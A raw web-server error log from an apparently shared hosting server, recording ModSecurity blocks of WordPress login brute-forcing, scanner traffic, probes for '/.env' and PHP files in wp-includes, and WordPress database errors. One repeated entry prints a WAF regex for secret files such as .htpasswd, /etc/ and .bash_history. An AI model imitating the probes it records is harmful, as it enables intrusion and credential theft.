"/xmlrpc.php"] [unique_id "ai305dyTkdrNlD40tSHeLQAAAHg"] [Sat Jun 13 18:25:09.259319 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:25:09.259389 2026] [security2:error] [pid 646876:tid 647128] [client 210.217.96.217:54752] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai305dyTkdrNlD40tSHeLQAAAHg"] [Sat Jun 13 18:25:09.259764 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:25:09.326703 2026] [security2:error] [pid 646876:tid 646916] [remote 17.241.75.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305dyTkdrNlD40tSHeLwAADSU"] [Sat Jun 13 18:25:09.372211 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.37:58974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:09.372926 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.37:58974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:09.398252 2026] [security2:error] [pid 715691:tid 715874] [client 159.223.112.69:35194] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305bV-dFiaX9AtWiQzhAAAASs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:09.468495 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wp_options WHERE option_name IN ('_transient_jetpack_update_remote_package_last_query','_transient_timeout_jetpack_update_remote_package_last_query') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, get_transient, wp_prime_option_caches\n [Sat Jun 13 18:25:09.468522 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_jetpack_update_remote_package_last_query', '1781396769', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:25:09.468530 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_jetpack_update_remote_package_last_query', '1781396709', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:25:09.468873 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:25:09.468896 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:25:09.468912 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set\n [Sat Jun 13 18:25:09.469177 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wp_options WHERE option_name IN ('_transient_timeout_doing_cron') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, wp_prime_option_caches\n [Sat Jun 13 18:25:09.469193 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wp_options WHERE option_name = '_transient_doing_cron' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, update_option\n [Sat Jun 13 18:25:09.469199 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, update_option\n [Sat Jun 13 18:25:09.498926 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.88:33856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:09.499368 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.88:33856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:09.519057 2026] [lsapi:warn] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_actionscheduler_actions` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown, ActionScheduler_DBStore->mark_failure\n [Sat Jun 13 18:25:09.519086 2026] [lsapi:error] [pid 646876:tid 647115] [client 173.254.29.157:12070] [host nelsonfarmstn.com] Backend fatal error: PHP Fatal error: Uncaught InvalidArgumentException: Unidentified action 399736: we were unable to mark this action as having failed. It may may have been deleted by another process. in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1232\nStack trace:\n#0 /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/ActionScheduler_FatalErrorMonitor.php(90): ActionScheduler_DBStore->mark_failure(399736)\n#1 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(341): ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown('')\n#2 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array)\n#3 /home1/thenelso/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array)\n#4 /home1/thenelso/public_html/wp-includes/load.php(1308): do_action('shutdown')\n#5 [internal function]: shutdown_action_hook()\n#6 {main}\n thrown in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php on line 1232\n [Sat Jun 13 18:25:09.525191 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.61:56376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:09.525611 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.61:56376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:09.566515 2026] [access_compat:error] [pid 715691:tid 715859] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/theme-compat/index.php, referer: http://krosscorp.us/wp-includes/theme-compat/ [Sat Jun 13 18:25:09.567274 2026] [access_compat:error] [pid 715691:tid 715859] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/theme-compat/index.phtml, referer: http://krosscorp.us/wp-includes/theme-compat/ [Sat Jun 13 18:25:09.570087 2026] [access_compat:error] [pid 715691:tid 715859] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/theme-compat/index.php5, referer: http://krosscorp.us/wp-includes/theme-compat/ [Sat Jun 13 18:25:09.618438 2026] [security2:error] [pid 715691:tid 715887] [client 159.223.112.69:35210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305bV-dFiaX9AtWiQzigAAATg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:09.714193 2026] [security2:error] [pid 715691:tid 715724] [remote 17.246.15.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305bV-dFiaX9AtWiQzjwABTQ4"] [Sat Jun 13 18:25:09.767759 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:25:09.768198 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:25:09.817336 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.106:46799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:09.817780 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.106:46799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:09.838217 2026] [security2:error] [pid 715691:tid 715896] [client 159.223.112.69:35218] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305bV-dFiaX9AtWiQzlgAAAUE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:09.877772 2026] [security2:error] [pid 646876:tid 647018] [client 185.199.157.19:47453] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp.php"] [unique_id "ai305dyTkdrNlD40tSHeQQAAAAo"] [Sat Jun 13 18:25:09.920589 2026] [security2:error] [pid 715691:tid 715824] [remote 17.246.15.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305bV-dFiaX9AtWiQzmgABWHE"] [Sat Jun 13 18:25:09.950879 2026] [security2:error] [pid 715691:tid 715799] [remote 17.22.245.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305bV-dFiaX9AtWiQznAABU1g"] [Sat Jun 13 18:25:10.058501 2026] [security2:error] [pid 715691:tid 715855] [client 159.223.112.69:35230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQzoAAAARg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.270586 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:25:10.271071 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:25:10.278607 2026] [security2:error] [pid 715691:tid 715867] [client 159.223.112.69:35238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQzrQAAASQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.352483 2026] [access_compat:error] [pid 715691:tid 715766] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:10.352925 2026] [access_compat:error] [pid 715691:tid 715766] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:10.429963 2026] [security2:error] [pid 715691:tid 715910] [client 34.170.189.242:49574] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "coscharis-tech.com"] [uri "/.env"] [unique_id "ai305rV-dFiaX9AtWiQzswAAAU8"] [Sat Jun 13 18:25:10.497432 2026] [security2:error] [pid 715691:tid 715943] [client 159.223.112.69:35242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQzuQAAAXA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.502763 2026] [security2:error] [pid 715691:tid 715953] [client 34.170.189.242:49588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "coscharis-tech.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai305rV-dFiaX9AtWiQzugAAAXo"] [Sat Jun 13 18:25:10.635131 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.72:26581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:10.635403 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.72:26581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:10.718109 2026] [security2:error] [pid 715691:tid 715938] [client 159.223.112.69:35256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQzxAAAAWs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.788278 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:10.788746 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:10.802951 2026] [access_compat:error] [pid 715691:tid 715906] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/index.php, referer: http://krosscorp.us/wp-includes/css/ [Sat Jun 13 18:25:10.803322 2026] [access_compat:error] [pid 715691:tid 715906] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/index.phtml, referer: http://krosscorp.us/wp-includes/css/ [Sat Jun 13 18:25:10.804725 2026] [access_compat:error] [pid 715691:tid 715906] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/index.php5, referer: http://krosscorp.us/wp-includes/css/ [Sat Jun 13 18:25:10.841819 2026] [security2:error] [pid 646876:tid 646963] [remote 17.241.227.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305tyTkdrNlD40tSHeZAAAHlQ"] [Sat Jun 13 18:25:10.852457 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.31:26896] AH01797: client denied by server configuration: 